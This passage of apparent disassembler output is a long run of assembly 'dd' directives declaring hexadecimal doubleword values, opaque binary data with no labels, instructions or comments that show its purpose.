		dd 61A65053h, 0F295145h, 0E3F04589h, 33DBA230h,	0BB393298h
		dd 0E24FEF0Bh, 3160842Bh, 231C3BAFh, 6D7100E1h,	0E0F5F146h
		dd 8DF0D313h, 4022C0E0h, 524C98D8h, 0D65B8984h,	871540E4h
		dd 0BD006C34h, 92DD9966h
		dd 0A4762Ch, 0FB621B59h, 66024E8h, 0F5CB4104h, 8CF972F8h
		dd 83E5D804h, 8C8DC052h, 0A1016948h, 53078BF3h,	62FEA67h
		dd 31D77108h, 0E81A2C00h, 413FB0E2h, 15709Fh, 0DF5AC77Dh
		dd 0CF761946h, 0BE207098h, 5F1F3824h, 7C8DB480h, 594DE8DEh
		dd 7B98C000h, 270E2E01h, 0DB2BFFD9h, 0C0E6CFB4h, 34AACB01h
		dd 406CB61Fh, 5E0B4976h, 9283BC0Bh, 45C7226h, 0CDBE4E82h
		dd 2A28889Eh, 88259477h, 40C02F7Ah, 0DC6F0F73h,	0CF7130EDh
		dd 9AC62D71h, 11452600h, 5CAE4AE7h, 0AB440B06h,	88CEFF51h
		dd 1C5954B9h, 9E00E718h, 6F149057h, 4C81475Fh, 662F489Fh
		dd 26C3BC41h, 30BCB2F8h, 0CA00E66Bh, 793B436Dh,	3D959EB7h
		dd 0C5A58214h, 0D0818CCEh, 263460E7h, 1DB13021h, 0A3F121C3h
		dd 0FE0E5318h, 0E1F96484h, 8E2A18BCh, 52442180h, 5AA1375Eh
		dd 13F25900h, 123668C1h, 0C0FE2C62h, 287C7244h,	5518EB56h
		dd 0EAD8DA00h, 57E60C77h, 5E26182Bh, 88D3E01Eh,	0C21104B3h
		dd 9110E458h, 5888289Bh, 0FA7AA800h, 0C6504B35h, 20AB6409h
		dd 172498FBh, 0E844295Eh, 84B81440h, 0E8180AD2h, 0A0208B0h
		dd 0F122C610h, 3845EF38h, 8E500BCDh, 79C462A1h,	18B97968h
		dd 632500F8h, 98962746h, 0C4801A45h, 3421BDF0h,	0F187A9BBh
		dd 260820F1h, 5C63B440h, 1CF8D066h, 18BD1B8Ch, 50E0612Eh
		dd 0B8B8DE4Ah, 68AC7C9Ch, 0E0A55B01h, 12E90F1h,	3E1E2A50h
		dd 0CAFC342Bh, 4A169509h, 6E78419Eh, 905584F4h,	0E2460490h
		dd 0C0735358h, 0D7E84DCFh, 0BD907D50h, 0EC348A9Fh, 8B07E13h
		dd 2E741D2h, 0F8A492ECh, 983BAB47h, 0BF3B9F23h,	5D928903h
		dd 5D87C76h, 0E58FD3D9h, 50C32AECh, 80249518h, 0F10DDCC3h
		dd 0A0829F14h, 0B7865A12h, 9DF81864h, 0C78C9A95h, 60A344B4h
		dd 9F411EFh, 18741AB0h,	0A259AC5Bh, 44FE2018h, 710067FEh
		dd 0CF9D5C84h, 13720813h, 807A820Ch, 0EAF0984h,	4AA43559h
		dd 0D8C894CBh, 0E14F0AC0h, 1C0C50AFh, 99C70BD3h, 60D0C6F3h
		dd 2818150Bh, 84496h, 0FF0FA6C8h, 14BAAF4Dh, 0E1FA6415h
		dd 0FCA050B4h, 66DC4E27h, 98379D70h, 51DF3E0Ch,	0ADEE1783h
		dd 0F0E482CBh, 0FD02A4F2h, 0FE45B20Ah, 6400C79Eh, 6ACA601Eh
		dd 270C986Fh, 804D0B03h, 0D16EA860h, 73FA0A10h,	8EA4D672h
		dd 0A380B199h, 4FD320ACh, 5333EC00h, 7EBDFB71h,	965E2598h
		dd 14A79058h, 6560A1C4h, 2F24A527h, 0C805BC24h,	0C45291DCh
		dd 7CB800B9h, 1F923800h, 0A6FBE2F5h, 10DCB002h,	0DB111C6h
		dd 0E1FA8804h, 5A40047Fh, 0BCA812EEh, 0A844EDA4h, 1014E01Fh
		dd 2A0CA5Ah, 4A880204h,	148557B6h, 0ACD8B972h, 42FF005Eh
		dd 0E3754353h, 0CA083F95h, 80D172F2h, 0D8E094A7h, 7D00B2C8h
		dd 59ACD332h, 96F23F6h,	18125021h, 8B10A05Ah, 2210CA1Bh
		dd 0C0E858E1h, 0F35270ACh, 8F130047h, 0EA2C669h, 0EAF8E583h
		dd 60AC6C95h, 26C9F995h, 8C981AE6h, 2A097404h, 4ABAB66h
		dd 228DEA8h, 5825A5C7h,	0FA843CE0h, 0B2DDC50Ch,	0E60F5F10h
		dd 531D4C73h, 51237C07h, 152826F8h, 171F9C5Ah, 0D0460056h
		dd 63C4FA7Bh, 14A4C49Dh, 0D4B21444h, 3E70FC48h,	3801FDFh
		dd 14BA774h, 0D00AD4Ah,	6FC348AFh, 466B97h, 579B19DCh
		dd 0D451CB3Bh, 147AC701h, 5E5D9496h, 0ED205E2Eh, 2BE2F0A1h
		dd 0EC943A0Eh, 7CA8C0D4h, 4881137Ch, 82CC02C9h,	38C4AE92h
		dd 0D94C6370h, 9FDB224Ch, 8E76F0C0h, 44F5F225h,	129A35A4h
		dd 7CBCF259h, 2E861619h, 402EAC18h, 0E5361C60h,	460531C1h
		dd 61C62B0Bh, 0AE2260F8h, 52C829BFh, 87C14598h,	61AE4890h
		dd 0B09E602Ch, 0B4362024h, 40A00458h, 8E254D70h, 53748949h
		dd 8BA2089Ch, 0F397931Dh, 0C95AFC81h, 0CE100405h, 0C47AFFA5h
		dd 0CCFBED00h, 0CF552307h, 0ECB953Fh, 0A2203487h, 724A98E0h
		dd 5D930C80h, 4278E3AEh, 0FC103226h, 0D10C9843h, 886D0B05h
		dd 0DE7E1CACh, 0C74B830Bh, 7CCF1E9h, 305B1B6Fh,	5EC8E0A4h
		dd 0DE6D4503h, 0ABF152h, 0D7F80A41h, 15FABC1Ah,	8A16A138h
		dd 0A02B1823h, 96C4E744h, 6A00E0F9h, 245D2F16h,	9028BD54h
		dd 0F401E176h, 301482EFh, 0CB3B85FFh, 0C0DCC8D8h, 310618D2h
		dd 0E845B701h, 2BF8DD64h, 957D68C4h, 0DED0B4A8h, 0B82F6100h
		dd 7F04C78Ch, 34191339h, 8070DB72h, 145A4DFDh, 0C726285Dh
		dd 0F83625E4h, 0D85E4C5Ah, 0DB943892h, 51197024h, 563D850Bh
		dd 7FE884B1h, 0A3FA9480h, 0B41DBF9Ah, 9C802311h, 3384250Fh
		dd 3E5B1202h, 0A5A493D4h, 0DCC2F0E8h, 2D605C68h, 0A591801Dh
		dd 7372D280h, 1809D8AFh, 711951CAh, 5D13827Ch, 0DC00C5D2h
		dd 130D4E7Fh, 463D773h,	0F3369618h, 30D9B220h, 9112F770h
		dd 24B1022Dh, 4012C020h, 2B0358CCh, 0A321504Bh,	0E908784Ah
		dd 19C0862Bh, 14F6F84Fh, 6354BE0h, 0D538E00Eh, 564A4965h
		dd 0AC2108A4h, 5F2AA010h, 0B8F158C4h, 0FB808E89h, 0E4763A4Fh
		dd 7878500h, 0D04012Ch,	0B182046Dh, 0B95493D8h,	0FC8A9260h
		dd 62C39FC8h, 5F6F8074h, 0A87B5839h, 2CB36409h,	4D61405Ch
		dd 37AE1C6h, 2B6A9F5Ch,	385C7AB2h, 31164C51h, 56804297h
		dd 1018511Ch, 359DCDE9h, 8128A1ADh, 11A6822Ch, 30480169h
		dd 0FAF3D0Bh, 102F3E45h, 0C600DD23h, 2EA50BDEh,	0E4E1B5FAh
		dd 0FA82D9Eh, 150701h, 0A609C1BCh, 16A90C0Dh, 0CE20174Ah
		dd 26E0D162h, 8DD3020Ah, 1E70905Dh, 49246112h, 81A4958Eh
		dd 1A6020D0h, 0C92AD401h, 0BCD07888h, 0C9138CD8h, 0F42094D3h
		dd 4FF46C20h, 0BEE82198h, 26030B1h, 0F059BD01h,	895B14DBh
		dd 310402Eh, 523730B7h,	178943FFh, 55925AB8h, 0D15C18E4h
		dd 0F8631228h, 12191CE4h, 0BE8D445h, 4CF37228h,	9F806A58h
		dd 42F74490h, 43003171h, 51DD5226h, 6E8818E9h, 0C8A7218Dh
		dd 0D4984B27h, 0A309D8BBh, 80B45331h, 5F4BAAB6h, 80542443h
		dd 944F15EBh, 98097C48h, 80C1C514h, 9A0C514Eh, 0BC5C6CE1h
		dd 0A008CE0h, 8EAF0111h, 4AFC3386h, 6B588DBAh, 77B5488h
		dd 4D3AC063h, 912CF01Dh, 7A1ECC97h, 0AA13BB68h,	6E4F54C0h
		dd 0C9925F24h, 40236AF8h, 48B0D7DEh, 1B245B6h, 75DA2788h
		dd 0FCBA9054h, 28D2C615h, 0F9093C6Fh, 8CF603F7h, 0C32AE960h
		dd 266906A6h, 91F72594h, 0E619217h, 0A0CF9444h,	0EC6D60B1h
		dd 3B2623BCh, 741C2473h, 90E37BD2h, 469241Ch, 9014ADEAh
		dd 62E89918h, 0FAD4A30Eh, 0BCA6A0E1h, 136F2593h, 24F865Eh
		dd 1DAE0E36h, 0DBC4FC67h, 90FC7C60h, 0F4EFC724h, 0D4742A12h
		dd 71C06EEEh, 469158h, 31116633h, 251256AEh, 100F464Ah
		dd 4D8DE6E1h, 6804B08Eh, 916D9F0h, 0B9055B6Fh, 5244BC00h
		dd 0BD0E7B08h, 8429611Eh, 1CBF5FE8h, 97F779CCh,	0B7771C1Ah
		dd 0D52E1DB8h, 0F400D099h, 1A34FD90h, 98009B53h, 0A3DB0F6Dh
		dd 732E146h, 120F1F6h, 0A478F08Bh, 0E8388D21h, 0F9BD89ABh
		dd 0D6D0DE72h, 7681BB02h, 40B1A4C9h, 4AC650AEh,	2BCCA1E9h
		dd 5C803434h, 590ED5Bh,	0C912D35Fh, 0BC84002Ch,	5A884D8Ah
		dd 0E0B0CA5Ah, 0C63D1093h, 0AC9273EAh, 10C4D230h, 598A7A12h
		dd 671620D1h, 0A43C240Eh, 0C4732A74h, 28B2444Ah, 93871888h
		dd 95F8865Dh, 74011CE4h, 0AC39156Bh, 2B4CDD9Ah,	85108C2Ch
		dd 58D9D689h, 9C00957Ch, 19AD4AA1h, 0D5CDD016h,	84ED280Eh
		dd 8CACF80Bh, 29F024C6h, 1821C868h, 49B1F80Ch, 9519FCB9h
		dd 0C5125C66h, 44B66093h
		dd 455139E0h, 92BBE402h, 5DC30279h, 8D31C496h, 822B5947h
		dd 0A110A44Bh, 900A8FA3h, 3BFC335Ah, 85D356E1h,	0D29A5A19h
		dd 23983BAAh, 0A962121Ch, 2A089E30h, 0B2CF12BBh, 0B40A0050h
		dd 0D877D38Bh, 4C885858h, 0A66ECD80h, 931F2650h, 0CACB72E7h
		dd 0F99880D5h, 0E2475F2Ch, 60C252B9h, 0E030E64Fh, 13EB3BCFh
		dd 0AC8CD411h, 0D86481A0h, 56C21A65h, 6CC36B30h, 30A812A4h
		dd 0B020EFDFh, 44D74817h, 0C64E0206h, 0E4399C5Dh, 0F91C45EAh
		dd 0E0202A2Ah, 0B47DA5EDh, 0C4BA2F10h, 64B577h,	4519AB9h
		dd 0FC004671h, 70A93718h, 25C94B23h, 54AB2C17h,	0A900E0F1h
		dd 18B00948h, 0C694004Ch, 156947C9h, 4D0F2EF0h,	9B4B3A4h
		dd 0B8050E9h, 2A1B83EFh, 706BC082h, 131CBD5Dh, 0F96C0E09h
		dd 3F95AE20h, 14B83C54h, 0AF691600h, 2D928B48h,	28F14D2Ah
		dd 88462325h, 0A279A8B9h, 7F1CE819h, 84BF440Eh,	48A6F22Fh
		dd 0CCF04EE1h, 0DF09112Dh, 81C7A41Bh, 5D2AB888h, 5784A47Dh
		dd 5208182h, 507A2EB4h,	5A35AF00h, 0A701B26Bh, 5D0C9A0Fh
		dd 1F13D072h, 1114D0AEh, 60007402h, 76C3F6ACh, 25A33EE8h
		dd 3C2C58EAh, 3958D308h, 60867E8h, 30A39DB4h, 0A62F1F17h
		dd 4FF4B004h, 7C4695E7h, 0E5C5C709h, 5B38FA9Bh,	2EC4E0EEh
		dd 1D62C9Eh, 65D608Fh, 0E5A65038h, 67982495h, 13C7498h
		dd 5A2A42B0h, 788C9B88h, 0C00EB40Dh, 203A143Ch,	978A2B07h
		dd 593B2D0Bh, 0D4927460h, 6CDBAD4Fh, 109F6480h,	0A42BD2DAh
		dd 170298E4h, 548E2B18h, 6BD040A4h, 36F02022h, 0FBD77A2Dh
		dd 115BD004h, 25321004h, 0FCCAD0B2h, 6E10913Ah,	0A5C284E2h
		dd 25233Eh, 42029FFFh, 0A2794188h, 0E8093724h, 548CBD09h
		dd 41C1E49Ch, 1B7226A3h, 904AD42Dh, 0AE1E291Ch,	8A183A62h
		dd 2074D809h, 6498B4CAh, 0E5D1EA6Bh, 0A4D3A5D4h, 0CC9570h
		dd 0A98045E1h, 0F2119A8Eh, 0A87D3C32h, 5C64DC0Bh, 0EA00B646h
		dd 29786E07h, 0D4174A2Bh, 0A08879BFh, 2852733Ch, 0C45CC4ECh
		dd 0F0A8AD09h, 360054F0h, 927A7822h, 165C86h, 383E6870h
		dd 0CE23BEDAh, 0E9BBD38h, 201CE2F4h, 79399261h,	0DC7500C4h
		dd 0F859A854h, 3C07FBC1h, 617AAAA3h, 0E6D24530h, 4CA40056h
		dd 248FD521h, 94001F2Dh, 63F73C31h, 0FF3D4Eh, 93E107B5h
		dd 0E541B75Ch, 69CEC400h, 3084ACBDh, 582200DAh,	385EEC31h
		dd 0CD0057F9h, 0EE0471E6h, 30E4D146h, 5050BCB3h, 7E3B6F9Fh
		dd 0FF91800Ch, 75F8AD3Dh, 0C52303A8h, 650F84CCh, 2CDFCBE8h
		dd 708088DFh, 28C3B12Bh, 0F6A63DECh, 813037BDh,	3040FF21h
		dd 0D1360C03h, 0B42085h, 27ACC119h, 784C995Fh, 8218920Bh
		dd 0E624D2C0h, 302E768Ah, 4DF1319Dh, 0B4017A12h, 0D4568FE0h
		dd 0C450A1A3h, 48CCC1h,	0BA951294h, 822C1A7Eh, 414FFE00h
		dd 64AE5F7Ch, 3ED21C99h, 28C88013h, 35609610h, 6379230Fh
		dd 7E4D02E3h, 0DEBF80CFh, 0FD54BDh, 0D3CEEB06h,	1E2D4B9Dh
		dd 56620C00h, 9E0FE3F5h, 7A2B07F0h, 10530A0Bh, 6523E416h
		dd 8120CB0Ch, 445EA08Dh, 73FC8819h, 79FCAA3Ch, 5D00D374h
		dd 11274C6Bh, 32F123Ah,	0CCA66DA7h, 0CDB0843Ch,	303D13D6h
		dd 5F578010h, 5B585AF9h, 0DDC900FDh, 0C74FA00Bh, 8400E715h
		dd 0DF57C16Eh, 0FC8FAEh, 8C1BB06Dh, 0E066171Fh,	0B865191Dh
		dd 0D85A74C4h, 745100BCh, 67959D0h, 1DFDB0C0h, 8522B0ECh
		dd 80AD00EFh, 4643833Ah, 90A690BAh, 4FF7C500h, 9BD021F9h
		dd 1DE90042h, 126CB8DAh, 4D0A1CC3h, 0C8AB8E90h,	5F052400h
		dd 0BD0440Bh, 4C3493B9h, 0BB92E180h, 0EA00D576h, 13C06A84h
		dd 30DCEB2h, 6C561E2Ah,	9BC86F9Eh, 0F37DF255h, 0ADAFD512h
		dd 0B82E20EDh, 3516045Ah, 0ACAC802Dh, 9B1FB574h, 0D0007298h
		dd 4E14E30Ch, 93B804C0h, 906B5510h, 70F3EA38h, 11CB3530h
		dd 8D34Ah, 21E314C8h, 0A1A8DE6Ch, 7B2AF101h, 7158050Ah
		dd 3B092AA6h, 7266F477h, 0BA484852h, 0C87A0801h, 838684EBh
		dd 340B0320h, 2B8D9825h, 0A70A0068h, 65989531h,	5E00D32Dh
		dd 9D5224F3h, 220474h, 0FD298F08h, 0D46AABBh, 8883F20Eh
		dd 603C0FB7h, 971EDE54h, 0C5780036h, 0D0051101h, 8D1250A1h
		dd 8601988Bh, 0EE13A9E5h, 16075028h, 20C10CBDh,	10CC2625h
		dd 0F1A32D00h, 5675B070h, 919C00F4h, 51354EA0h,	0AB09BE8Ch
		dd 55AE3840h, 10C0128Eh, 0BA49C339h, 650080EEh,	6C313AD1h
		dd 3D551E4Fh, 0AD8016C6h, 5207D249h, 1A004B20h,	0DE448756h
		dd 3D049DF3h, 9C0077DBh, 7FBCE7F1h, 0A10910EEh,	20DAA012h
		dd 747931ECh, 90CC10DFh, 9F140007h, 96C9BEFAh, 0C6D80336h
		dd 527CC33Ch, 88F9EFE0h, 48C25F26h, 0FC43AF03h,	1B180151h
		dd 0AC538329h, 614FD4CCh, 1D907C03h, 83A51420h,	7F71F87Bh
		dd 59CA0077h, 8664F781h, 55905837h, 5198E315h, 0CA171D9Ch
		dd 4BC2003Ch, 757965CEh, 8BD102D8h, 9A303785h, 57731440h
		dd 82FF5900h, 0F452C674h, 234200B0h, 649D8E0Eh,	0D0E749CCh
		dd 0CD3D8CE0h, 0C900FF2Dh, 1254C72Ah, 74591B37h, 7B6C00A9h
		dd 91CBDE73h, 23008720h, 7F118C94h, 0FDA6BABEh,	99BF7C80h
		dd 87B5DAE4h, 744B1200h, 0EA6BDC52h, 79B80F1Eh,	0D5A98B30h
		dd 1A101780h, 9D005832h, 53F264B5h, 0EA0FE4h, 0E1CDB2D2h
		dd 889080A1h, 7D320600h, 47314B43h, 0DC26035Eh,	7BBB961Dh
		dd 0E4CE0800h, 748E0D87h, 0EBDE127Dh, 432840BCh, 0C0F31FA9h
		dd 0DC7AED04h, 0E4D14CE2h, 0DF171E73h, 0C7617F80h, 4600DE6Fh
		dd 5FB2B793h, 0EBB1DDh,	47BAEBBh, 0BED93E7Eh, 0E3004D77h
		dd 0CF1D9422h, 0B495C8h, 1685BB3Ah, 0B0AA9E1Ch,	0EA8CED00h
		dd 1A8BF64Bh, 6C3B0268h, 0E3D2B81Dh, 26848888h,	0F8760034h
		dd 4435FFF4h, 4177C809h, 7D280A0h, 1FB20FA6h, 80E256C3h
		dd 0A78FE926h, 0AB160D8Ah, 0D9016F7Bh, 0B93342F2h, 10352D8h
		dd 0BB82380Ah, 0CC5CD37Ch, 0EA008197h, 0B6870943h, 94155A4Ch
		dd 8FA28924h, 9349D982h, 39036160h, 19208D07h, 0E07FE264h
		dd 2965D8CEh, 0D3320074h, 0B9AC9A62h, 1EFC46F5h, 0E600D598h
		dd 0C7CF8E07h, 4B7F2CC0h, 0D438C1F9h, 0DBAEE0ADh, 0AC11CFh
		dd 0A839217h, 400D5D88h, 8D8E8B38h, 0E5C3254Bh,	0DED0454Dh
		dd 0DF01BC81h, 0FCC210A5h, 0A1D0BDB4h, 35500072h, 0D890CC4h
		dd 0C0BA3408h, 2CE91216h, 0C0885485h, 41F02F67h, 0C0C57469h
		dd 4F3F912Ah, 0D00A3C0Dh, 0DC079340h, 859219ADh, 4C488AC5h
		dd 1E351065h, 0E2803DC3h, 72A4CD47h, 9C17001Ch,	0DA1EED88h
		dd 0C305FCFBh, 377D266Ah, 0BCAAC80h, 0A5882665h, 0FC0A00CDh
		dd 0F7E528A6h, 26C9820Fh, 4F06401Bh, 0C3907534h, 88B1F54Eh
		dd 2BA684E8h, 0CBEA2A00h, 56932E4Dh, 176CAh, 27334C73h
		dd 8BEF3A3Bh, 0FBAFF000h, 0CD34DCE6h, 1FE0055h,	5FBE273Dh
		dd 99073304h, 0F7291AB7h, 4140C930h, 81D40709h,	60DDB638h
		dd 0FA0C36A5h, 0D3BE0D00h, 2718C256h, 0ABD80464h, 0C055E7D4h
		dd 6E170A90h, 23280200h, 0F769EA4Eh, 3CD63CD8h,	403BDD9Eh
		dd 9637F154h, 0D41C2951h, 0E5C16F17h, 0EC1E2595h, 494403Fh
		dd 59A21331h, 54E8F617h, 23F2ACA2h, 5D030h, 0D30F756Eh
		dd 5A173DB6h, 58E8E69Dh, 30745A23h, 563910ACh, 5E02E146h
		dd 0BDD58CD8h, 60A2D564h, 2D07B63Dh, 0B57ACE20h, 0DC14BE8Fh
		dd 4D4AD00h, 0F28390F6h, 0BC7D4F11h, 728D2532h,	820941Ch
		dd 900CD46h, 14303594h
		dd 4B5970C3h, 0F30A2DAh, 80C01090h, 37FE1CFAh, 0BF0B001Eh
		dd 6C868AEAh, 0AF285F24h, 1F09780Ch, 1171306Ah,	0F1EC0374h
		dd 0EBE2000Fh, 0C7D45929h, 0D8DEE87Fh, 182A1604h, 235C3FBBh
		dd 657A00BAh, 0F10A9DBEh, 8CD4510Dh, 8AC021AEh,	0B4EE5A61h
		dd 0B842C00h, 9BBFD3EAh, 91612476h, 802A1A55h, 295216E0h
		dd 1002444Eh, 24F00E35h, 9E148E96h, 495B0063h, 3EFA0940h
		dd 8C7A5802h, 0A9822512h, 44CCD9C0h, 0B4B23440h, 7631DAB2h
		dd 0B49040AFh, 4838A834h, 853A0327h, 88904A39h,	13F1B813h
		dd 0F4EA3531h, 24B6C660h, 5021465Eh, 7E017311h,	262B3A76h
		dd 402B320Eh, 2D403160h, 66005F59h, 19D58986h, 0B57ABFD4h
		dd 3D2BC098h, 0E8034E5Bh, 25175572h, 9CE8AC60h,	76242165h
		dd 1D2F8CD8h, 80DD11B8h, 0D59F13EBh, 8A8400F5h,	2CBDAB93h
		dd 7F1DEFA6h, 45007C27h, 51C352DCh, 1208098Eh, 0ECD00ED9h
		dd 10A2994Ah, 98922700h, 0C6A2CE0h, 0AF7CDE00h,	205456F2h
		dd 0E9F70359h, 2B60397Fh, 2EFF69D9h, 5D7EDCC2h,	47E088Bh
		dd 0BB467Eh, 30714EDCh,	4E69D24h, 922D1205h, 0E4A4F8D6h
		dd 0B046AEAh, 0EF10650h, 4798E42Eh, 886E10F5h, 690017BCh
		dd 808A223Eh, 48A1C9F4h, 6D0047F2h, 3A072873h, 362D818Ch
		dd 6B6CD9AAh, 78D4BCF4h, 0B66A01BBh, 0B295663Bh, 82FEC1Bh
		dd 0ACB90B4Ah, 94E642ACh, 55982C00h, 88BBD3F6h,	5B718891h
		dd 8697D100h, 9237E846h, 0C2263281h, 0B05663C8h, 7691E40h
		dd 0C6D100F5h, 820E58E2h, 793A1D87h, 98460589h,	9C4B0A4Ah
		dd 303070FDh, 3148D3DEh, 60B61625h, 20EC6C27h, 50058AC3h
		dd 11C5ED89h, 0D10978BCh, 18503E1Eh, 9879AA01h,	5F6F366Dh
		dd 504589C8h, 410DD401h, 3FB0C0A1h, 2B598D02h, 0F2C32468h
		dd 2648C4ECh, 0CA4F053Bh, 902DCB0h, 1A498A37h, 0C916D0D0h
		dd 88EC8D88h, 0FE4A1206h, 332518CDh, 0D91CC068h, 0DA4F24C3h
		dd 13D208F4h, 2B4F127h,	0EED63D31h, 0E46B4C8h, 97C319C1h
		dd 1C2B109Ah, 30DD09Ch,	563D9415h, 0E83004E0h, 0ACA7C947h
		dd 49240088h, 815717C5h, 0C4209FAEh, 0E069295Bh, 0FB47D81Ch
		dd 6202DB8Fh, 0F6231894h, 0AE8284D8h, 74045385h, 1403D066h
		dd 52F5E252h, 18CE9B8h,	90968F6Ah, 4CF009F0h, 0C9ED02E3h
		dd 2787AA78h, 0F344E87Ch, 77055F40h, 9197B96Ah,	3D30030Ch
		dd 118E870h, 5690609Ah,	20023AE9h, 6A500CB7h, 104063Ch
		dd 0BD524992h, 9F5498AEh, 0A9157000h, 0AB9DFDD0h, 17B300E3h
		dd 7B4B79DDh, 0E7044087h, 0BA2D9225h, 0AEB821BBh, 5F1700A4h
		dd 0CC6EEF61h, 0B94284B8h, 7D9C2B5Ah, 30D5128Ch, 71050646h
		dd 0ED0EE9D0h, 40EB70F8h, 5E1F3B7h, 12D60954h, 94217E7Ah
		dd 10908866h, 39D0981h,	0E46AAC01h, 928C26C9h, 552364h
		dd 0A8FC45ACh, 1BF62D7Ch, 0AD92DCD9h, 0D9E01C27h, 0FFEDB75h
		dd 29A75421h, 0EE7D9BA2h, 0F46C895Dh, 2D00DCA0h, 0F86021C6h
		dd 97AA810Bh, 7884CC6Ah, 59040BCBh, 19BC79E8h, 2AAA6C0h
		dd 483B9FFDh, 8476A422h, 0D03CDB2Dh, 5A006A4Ch,	0D5E9E8FBh
		dd 0B74395F8h, 0D9E4E847h, 16C9C60h, 86BC4E0Ch,	959490DAh
		dd 3BFDB449h, 0D487209Bh, 6818E0C9h, 3D013C5Bh,	6214B476h
		dd 0A843BEF2h, 0F03AD239h, 4A440180h, 0D38F300Ch, 4E586290h
		dd 0EC0158E2h, 73C07559h, 0DA48E8BDh, 8B8A5502h, 0FD4E8212h
		dd 58768009h, 40D0D069h, 351293C3h, 0FCECE6h, 0F68CA6ECh
		dd 388100C5h, 9A95AF77h, 0AE3162A1h, 6D4DA911h,	1CA4AC8h
		dd 948E5EDFh, 63F25A2Dh, 319EE270h, 0F825ED71h,	849A8E3Dh
		dd 0A54FEA39h, 0F008805Dh, 1B948714h, 8858CB8h,	4CDC27C5h
		dd 491E110h, 5B18DBD1h,	0D832CB13h, 0A8ECEC00h,	279E4E49h
		dd 90CBB5A9h, 24FC2C8Ah, 0B8562645h, 85E074F6h,	0D0BA80Bh
		dd 585C6F1Eh, 14D340F8h, 5CC1BD2Eh, 592051CBh, 6418BDh
		dd 90FEED82h, 0D9CD7370h, 10E04358h, 5A02A41Ah,	17FA462Bh
		dd 2D964068h, 1A12C70Bh, 0DCA4F6A6h, 25813E02h,	440EAFEAh
		dd 321705C8h, 91C4BE3Dh, 60EAC368h, 0E41D694h, 7C14CD2Ah
		dd 0A49A10D8h, 832DE048h, 0A54464F1h, 612B6E42h, 4AA0B8D5h
		dd 0ED9D865Fh, 5B804040h, 0D5FCCEDCh, 61BC9104h, 88B4CB46h
		dd 0E900FD7Ah, 39C01BACh, 0DA7EEF9Fh, 507D25h, 73D148C1h
		dd 0A9CBCFA4h, 9A81F701h, 0DD964DE8h, 630013Bh,	62F29E15h
		dd 593B00B8h, 0DD194DECh, 37813C31h, 0B9BE6801h, 0E4896607h
		dd 0C71DD38Dh, 18459379h, 0B052F024h, 8C6EAEh, 0D03F346h
		dd 251EADBAh, 8D958E4h,	4C089393h, 49BC05F6h, 3984D00Eh
		dd 0F84F925Dh, 40CE80E4h, 2BE198D1h, 0F602F4E2h, 0BFABA23h
		dd 97ED1A40h, 4040F24Eh, 0EA764ED5h, 0CF8C0080h, 29B7C75Bh
		dd 1F00E2D0h, 44065926h, 2F30E971h, 90D1C313h, 8718A1D9h
		dd 0BAE78000h, 0E2900AF7h, 6EB0059h, 104021C8h,	8A04084Eh
		dd 7109F5E8h, 1E00F0F9h, 0C73C2597h, 0B17324EBh, 4197539h
		dd 0DBF0661Bh, 2E7160FCh, 24786EF5h, 0E4F80017h, 87C43D45h
		dd 9FAEC03h, 0D253E648h, 83ADFF1h, 970B5FDh, 30408347h
		dd 0C4B729BEh, 1C379704h, 0EC1AF980h, 2FD37552h, 6C580B0Eh
		dd 0B072F440h, 0D8D195EFh, 6D18E1D9h, 2AC24001h, 0E63CD495h
		dd 18695AC8h, 29CB14AFh, 0A54BC64Dh, 44187CC6h,	8A042ACAh
		dd 69CF966Eh, 6EE03DBEh, 5981A8DBh, 0E042B84Eh,	341460DFh
		dd 1A88D0Fh, 5069D4F8h,	2B1112BEh, 0A68FE881h, 0CAF02989h
		dd 402F9717h, 48B99D6Ch, 929F26h, 8019AD08h, 24A962F3h
		dd 961E51C2h, 0FADBF2h,	29E4C9Ah, 78CFC7E4h, 1772520h
		dd 2559BCF3h, 0DD00E018h, 0C0E979BDh, 2F63FFFh,	4D8D53CBh
		dd 375DA44Fh, 653A3A9Ch, 41ED661Fh, 8ADF3213h, 82E43181h
		dd 0D9F158A8h, 841A5516h, 80888489h, 1CE30408h,	5D8CFC68h
		dd 0E6B840h, 1E955F4Dh,	52121AA4h, 5AAE5A25h, 5FF74398h
		dd 5C8274DAh, 0E4557075h, 9C0138D4h, 128DBD03h,	0F1D0854Fh
		dd 1D2FD042h, 58D18Eh, 2CBF056Fh, 0A7339F9h, 4D2621EAh
		dd 46098827h, 4BBCFE8Eh, 467ED07Ch, 0E5109B6h, 1230A5C1h
		dd 0C7800CE8h, 2F179FFCh, 0C054304Ch, 0E5B503DFh, 40FA073Fh
		dd 907AC294h, 53CD25D8h, 401FC827h, 0B699C04Ch,	3C1FDC20h
		dd 8340B743h, 2802FCCh,	53B020Ch, 0EF4A3608h, 0BAC89DFDh
		dd 1283BC6h, 0A70607D0h, 0A8811D36h, 8255329Dh,	0BCF474D4h
		dd 80B05C5Fh, 6F1F8130h, 0C4C3C8Bh, 0EB8C9DE8h,	7091B17Ah
		dd 0AC60F1C0h, 0B61FD3F9h, 8476007Eh, 5E540D06h, 0C597F5B5h
		dd 51B11A50h, 0C3868060h, 5CD849CBh, 0F303F6B0h, 14F4D9F7h
		dd 51BBE7B1h, 0B1706E3Ch, 56AF03Fh, 0BEEDA02Ch,	8504982Ch
		dd 2958E08Ch, 1821D030h, 49C8601Ah, 8BA884DDh, 523427BFh
		dd 9075C94Fh, 0D52238h,	0F124B6A3h, 0DF01CACEh,	21023875h
		dd 60239672h, 3C37759Fh, 5EEA2C02h, 0A0FC99h, 0F451BC0Ah
		dd 0ECF1DC0Eh, 395ED79Ah, 17EC548Dh, 41584525h,	6FAA06A0h
		dd 5C39788Eh, 4C0C241h,	10B37EBh, 76F1A5CEh, 0CCCE3BB4h
		dd 0A0050484h, 0B13B561Eh, 0D9A23CF3h, 4B2D530h, 0DE1E2960h
		dd 0FC68943Ah, 61B4C784h, 3E29BE34h, 0DE00686Eh, 0C89ECD82h
		dd 16FA2B02h, 2C49758h,	0C9793F56h, 28815701h, 6E2F1F9Ah
		dd 0BCC4FC9Ah, 6074BAF8h, 9C50DAAAh, 0F25A8807h, 0B93F88Ch
		dd 737A1478h, 467C3CDCh
		dd 0B0F2021Fh, 0E01C1728h, 81CF7E6Ch, 0BC9D2FE8h, 0B788D04Bh
		dd 0C1BB91C0h, 5F5A0EEEh, 0F4206F17h, 648F4DE8h, 0C86F29D6h
		dd 0BEC7C900h, 8334F007h, 1294B327h, 0C6D55D4h,	5013FEC0h
		dd 0DA551092h, 870C00D2h, 0CA0E290Dh, 1000BF26h, 5285C059h
